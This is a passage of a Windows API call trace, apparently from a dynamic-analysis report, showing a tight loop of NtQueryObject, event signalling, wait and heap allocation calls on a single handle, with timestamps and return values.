ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.340] ResetEvent (hEvent=0xdc) returned 1 [0094.340] SetEvent (hEvent=0xe0) returned 1 [0094.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.340] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.341] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.341] ResetEvent (hEvent=0xdc) returned 1 [0094.341] SetEvent (hEvent=0xe0) returned 1 [0094.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.341] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.342] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.342] ResetEvent (hEvent=0xdc) returned 1 [0094.342] SetEvent (hEvent=0xe0) returned 1 [0094.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.342] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.343] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.343] ResetEvent (hEvent=0xdc) returned 1 [0094.343] SetEvent (hEvent=0xe0) returned 1 [0094.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.343] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.343] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.344] ResetEvent (hEvent=0xdc) returned 1 [0094.344] SetEvent (hEvent=0xe0) returned 1 [0094.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.344] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.344] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.344] ResetEvent (hEvent=0xdc) returned 1 [0094.344] SetEvent (hEvent=0xe0) returned 1 [0094.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.345] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.345] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.345] ResetEvent (hEvent=0xdc) returned 1 [0094.345] SetEvent (hEvent=0xe0) returned 1 [0094.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.346] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.346] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.346] ResetEvent (hEvent=0xdc) returned 1 [0094.346] SetEvent (hEvent=0xe0) returned 1 [0094.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.348] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.349] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.349] ResetEvent (hEvent=0xdc) returned 1 [0094.349] SetEvent (hEvent=0xe0) returned 1 [0094.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.349] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.349] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.349] ResetEvent (hEvent=0xdc) returned 1 [0094.349] SetEvent (hEvent=0xe0) returned 1 [0094.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.350] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.350] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.350] ResetEvent (hEvent=0xdc) returned 1 [0094.350] SetEvent (hEvent=0xe0) returned 1 [0094.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.351] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.351] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.351] ResetEvent (hEvent=0xdc) returned 1 [0094.351] SetEvent (hEvent=0xe0) returned 1 [0094.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.351] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.352] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.352] ResetEvent (hEvent=0xdc) returned 1 [0094.352] SetEvent (hEvent=0xe0) returned 1 [0094.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.352] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.353] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.353] ResetEvent (hEvent=0xdc) returned 1 [0094.353] SetEvent (hEvent=0xe0) returned 1 [0094.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.353] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.354] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.354] ResetEvent (hEvent=0xdc) returned 1 [0094.354] SetEvent (hEvent=0xe0) returned 1 [0094.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.354] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.354] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.354] ResetEvent (hEvent=0xdc) returned 1 [0094.355] SetEvent (hEvent=0xe0) returned 1 [0094.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.355] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.355] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.355] ResetEvent (hEvent=0xdc) returned 1 [0094.355] SetEvent (hEvent=0xe0) returned 1 [0094.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.356] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.356] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.356] ResetEvent (hEvent=0xdc) returned 1 [0094.356] SetEvent (hEvent=0xe0) returned 1 [0094.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.357] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.357] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.357] ResetEvent (hEvent=0xdc) returned 1 [0094.357] SetEvent (hEvent=0xe0) returned 1 [0094.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.357] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.358] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.358] ResetEvent (hEvent=0xdc) returned 1 [0094.358] SetEvent (hEvent=0xe0) returned 1 [0094.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.358] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.359] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.359] ResetEvent (hEvent=0xdc) returned 1 [0094.359] SetEvent (hEvent=0xe0) returned 1 [0094.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.359] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.360] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.360] ResetEvent (hEvent=0xdc) returned 1 [0094.360] SetEvent (hEvent=0xe0) returned 1 [0094.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.360] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.360] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.360] ResetEvent (hEvent=0xdc) returned 1 [0094.360] SetEvent (hEvent=0xe0) returned 1 [0094.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.361] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.362] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.362] ResetEvent (hEvent=0xdc) returned 1 [0094.362] SetEvent (hEvent=0xe0) returned 1 [0094.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.362] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.362] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.362] ResetEvent (hEvent=0xdc) returned 1 [0094.362] SetEvent (hEvent=0xe0) returned 1 [0094.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.363] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.363] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.363] ResetEvent (hEvent=0xdc) returned 1 [0094.363] SetEvent (hEvent=0xe0) returned 1 [0094.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.364] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.364] ResetEvent (hEvent=0xdc) returned 1 [0094.364] SetEvent (hEvent=0xe0) returned 1 [0094.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.365] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.365] ResetEvent (hEvent=0xdc) returned 1 [0094.365] SetEvent (hEvent=0xe0) returned 1 [0094.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.366] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.366] ResetEvent (hEvent=0xdc) returned 1 [0094.366] SetEvent (hEvent=0xe0) returned 1 [0094.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.366] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.367] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.367] ResetEvent (hEvent=0xdc) returned 1 [0094.367] SetEvent (hEvent=0xe0) returned 1 [0094.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.367] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.367] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.367] ResetEvent (hEvent=0xdc) returned 1 [0094.367] SetEvent (hEvent=0xe0) returned 1 [0094.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.368] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.368] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.368] ResetEvent (hEvent=0xdc) returned 1 [0094.368] SetEvent (hEvent=0xe0) returned 1 [0094.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.369] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.369] ResetEvent (hEvent=0xdc) returned 1 [0094.370] SetEvent (hEvent=0xe0) returned 1 [0094.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.370] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.370] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.370] ResetEvent (hEvent=0xdc) returned 1 [0094.370] SetEvent (hEvent=0xe0) returned 1 [0094.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.371] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.371] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.371] ResetEvent (hEvent=0xdc) returned 1 [0094.371] SetEvent (hEvent=0xe0) returned 1 [0094.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.372] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.372] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.372] ResetEvent (hEvent=0xdc) returned 1 [0094.372] SetEvent (hEvent=0xe0) returned 1 [0094.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.372] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.373] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.373] ResetEvent (hEvent=0xdc) returned 1 [0094.373] SetEvent (hEvent=0xe0) returned 1 [0094.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.373] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.374] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.374] ResetEvent (hEvent=0xdc) returned 1 [0094.374] SetEvent (hEvent=0xe0) returned 1 [0094.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.374] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.375] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.375] ResetEvent (hEvent=0xdc) returned 1 [0094.375] SetEvent (hEvent=0xe0) returned 1 [0094.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.375] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.375] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.375] ResetEvent (hEvent=0xdc) returned 1 [0094.375] SetEvent (hEvent=0xe0) returned 1 [0094.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.376] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.376] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.376] ResetEvent (hEvent=0xdc) returned 1 [0094.376] SetEvent (hEvent=0xe0) returned 1 [0094.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.377] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.377] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.377] ResetEvent (hEvent=0xdc) returned 1 [0094.377] SetEvent (hEvent=0xe0) returned 1 [0094.377] RtlAllocateHeap (HeapHandle=0x940000, 